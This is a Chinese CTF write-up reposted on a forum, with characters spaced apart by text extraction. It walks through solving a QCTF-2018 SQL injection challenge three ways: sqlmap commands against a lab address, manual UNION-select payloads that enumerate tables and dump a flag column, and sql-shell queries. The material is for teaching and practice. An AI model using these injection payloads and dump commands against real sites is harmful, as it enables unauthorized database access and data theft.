搜索

[26897] 2020-01-13_CTF笔记-Web第1弹-看我如何用多种姿势搞定一个SQL注入点

文档创建者：s7ckTeam
浏览次数：32
最后更新：2025-01-19
2020-01-13_CTF笔记-Web第1弹-看我如何用多种姿势搞定一个SQL注入点 C T F 笔 记 - W e b 第 1 弹 - 看 我 如 何 用 多 种 姿 势 搞 定 一 个 S Q L 注 入 点 M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 1 - 1 3 以 下 文 章 来 源 于 西 子 实 验 室   ， 作 者 鹤 守 月 本 篇 分 享 知 识 要 点 ： 1 .   s q l m a p 常 用 参 数 实 例 讲 解 2 .   u n i o n 联 合 查 询 手 工 注 入 3 .   s q l - s h e l l   数 据 库 交 互 常 用 命 令 实 例 讲 解 题 目 来 源 ： Q C T F - 2 0 1 8 在 线 C T F 靶 机 ： 攻 防 世 界 （ 一 个 非 常 N B 的 平 台 ） 阅 读 完 本 篇 文 章 大 概 需 要 5 分 钟 ， e n j o y   y o u r s e l f ！ 姿 势 1 ： s q l m a p 一 把 梭 通 过 一 番 摸 索 ， 发 现 在 页 面 搜 索 p o s t 数 据 的 地 方 ， 存 在 一 个 注 入 点 ， 废 话 不 多 说 ， 拿 起 我 的 s q l m a p 就 是 一 把 梭 ！ p y t h o n   s q l m a p . p y   - u   h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 5 0 7 9 7 /   - - d a t a = " s e a r c h = a "   - - d b s - u   指 定 注 入 点 地 址 - - d a t a   指 定 要 注 入 的 参 数 - - d b s   爆 破 所 以 数 据 库 可 以 看 到 ， 爆 破 出 来 2 个 可 用 数 据 库 除 了 上 面 的 姿 势 ， 还 可 以 使 用 下 面 的 方 法 查 询 当 前 数 据 库 p y t h o n   s q l m a p . p y   - u   h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 5 0 7 9 7 /   - - d a t a = " s e a r c h = a "   - - d b m s   m y s q l   - - c u r r e n t - d b - - d b m s   m y s q l   指 定 数 据 库 类 型 为 m y s q l - - c u r r e n t - d b   爆 破 当 前 数 据 库 西 子 实 验 室 西 子 实 验 室   . 一 生 等 不 到 表 哥 一 句 我 带 你
可 以 看 到 ， 当 前 数 据 库 为 n e w s 有 了 数 据 库 ， 接 下 来 就 查 数 据 表 。 查 询 n e w s 数 据 库 有 几 张 表 p y t h o n   s q l m a p . p y   - u   h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 5 0 7 9 7 /   - - d a t a = " s e a r c h = a "   - - d b m s   m y s q l   - D   n e w s   - - t a b l e s - D   n e w s   指 定 数 据 库 - - t a b l e s   爆 破 所 有 数 据 表 可 以 看 到 ， 爆 破 出 了 2 张 数 据 表 有 了 数 据 表 ， 接 下 来 就 是 爆 破 字 段 了 查 询 s e c r e t _ t a b l e 表 的 字 段 p y t h o n   s q l m a p . p y   - u   h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 5 0 7 9 7 /   - - d a t a = " s e a r c h = a "   - - d b m s   m y s q l   - D   n e w s   - T   s e c r e t _ t a b l e   - - c o l u m n s - T   s e c r e t _ t a b l e   指 定 数 据 表 - - c o l u m n s   爆 破 所 有 列
可 以 看 到 ， 有 2 个 字 段 ， i d 和 f 1 4 g f l a g 字 段 就 这 么 出 现 了 ， 惊 不 惊 喜 ， 意 不 意 外 ， 难 道 这 就 是 命 运 的 安 排 吗 ？ 还 不 抓 紧 爆 一 下 字 段 内 容 ， 你 还 在 那 寻 思 啥 呢 你 啊 ！ （ 野 狼 d i s c o ） p y t h o n   s q l m a p . p y   - u   h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 5 0 7 9 7 /   - - d a t a = " s e a r c h = a "   - - d b m s   m y s q l   - D   n e w s   - T   s e c r e t _ t a b l e   - - d u m p - - d u m p   爆 出 指 定 表 的 字 段 内 容 毫 无 悬 念 ， f i r s t   b l o o d ！ Q C T F { s q 1 _ i n J e c 7 i o n _ e z z z } 姿 势 2 ： u n i o n 联 合 注 入 手 工 猜 解 常 用 猜 解 要 点 整 理 如 下 判 断 注 入 点 ： 1 2 3 '   - -   ' 把 前 面 的 单 引 号 闭 合 - - 把 后 面 的 查 询 语 句 片 段 注 释 掉 判 断 列 数 ： 1 2 3 '   o r d e r   b y   3 - -
判 断 显 示 位 ： 1 2 3 '   u n i o n   s e l e c t   1 , 2 , 3 - - 爆 表 1 2 3 '   u n i o n   s e l e c t   1 , g r o u p _ c o n c a t ( t a b l e _ n a m e ) , 3   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( )   - - 爆 字 段 1 2 3 '   u n i o n   s e l e c t   1 , g r o u p _ c o n c a t ( c o l u m n _ n a m e ) , 3   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = ' s e c r e t _ t a b l e ' - - 爆 值 1 2 3 '   u n i o n   s e l e c t   1 , g r o u p _ c o n c a t ( f l 4 g ) , 3   f r o m   s e c r e t _ t a b l e - - 本 题 注 入 点 为 ： 1 '   u n i o n   s e l e c t   1 , 2 , 3   # 很 明 显 ， 2 3 为 显 示 位 下 面 爆 破 一 下 当 前 数 据 名 ： 1 '   u n i o n   s e l e c t   1 , d a t a b a s e ( ) , 3 #
已 经 出 来 了 ， 2 显 示 位 变 成 了 n e w s 接 着 就 是 爆 破 表 啦 ： 1 '   u n i o n   s e l e c t   1 , t a b l e _ n a m e , 3   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a   = ' n e w s '   # 已 经 出 来 了 ， 不 信 你 看 显 示 位 2 接 着 就 是 爆 破 字 段 ： 1 '   u n i o n   s e l e c t   1 , c o l u m n _ n a m e , 3   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e   = ' s e c r e t _ t a b l e '   # 那 么 大 一 个 f 1 4 g ， 我 都 看 见 了 临 门 一 脚 了 ， 猥 琐 发 育 ， 不 要 浪 : 1 '   u n i o n   s e l e c t   1 , f l 4 g , 3   f r o m   s e c r e t _ t a b l e   w h e r e   i d   = ' 1 '   #
d o u b l e   k i l l ， 搞 定 ！ 姿 势 3 ： s q l - s h e l l   数 据 库 交 互 p y t h o n   s q l m a p . p y   - u   h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 5 0 7 9 7 /   - - d a t a = " s e a r c h = a "   - - b a t c h   - - s q l - s h e l l - - b a t c h   - - s q l - s h e l l   获 取 注 入 点 权 限 进 入 s q l - s h e l l 模 式 没 错 ， 已 经 拿 到 了 s q l - s h e l l 常 规 操 作 ， 查 询 一 下 数 据 库 ， 命 令 如 下 ： d a t a b a s e ( ) ; 查 到 了 ， 数 据 库 是 n e w s 接 下 来 查 询 一 下 表 吧 s e l e c t   g r o u p _ c o n c a t ( t a b l e _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( )
查 到 了 ， 数 据 表 有 2 个 ， n e w s 和 s e c r e t _ t a b l e 不 要 慌 ， 查 询 一 下 列 s e l e c t   g r o u p _ c o n c a t ( c o l u m n _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = ' s e c r e t _ t a b l e ' 查 到 了 ， 有 2 个 列 字 段 ， i d 和 f 1 4 g 不 要 怂 ， 获 取 f l a g 内 容 s e l e c t   i d , f 1 4 g   f r o m   s e c r e t _ t a b l e   l i m i t   0 , 1 很 遗 憾 ， 最 后 没 能 获 取 到 f l a g ， 可 能 是 我 的 姿 势 不 对 吧 ， 2 3 3 3 ， 求 指 点 ~ 以 上 就 是 第 1 弹 分 享 的 全 部 内 容 ， 第 2 弹 正 在 路 上 ~ 码 字 不 易 ， 求 个 关 注 ， 感 谢 在 看 转 发 的 朋 友 ， 谢 谢 ！ - - - - - - - - - - - - - - - 我 是 分 割 线 - - - - - - - - - - - - - - - - - - - - - - - - - 听 说 关 注 的 人 都 脱 单 了 - - - - - - - - - -
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理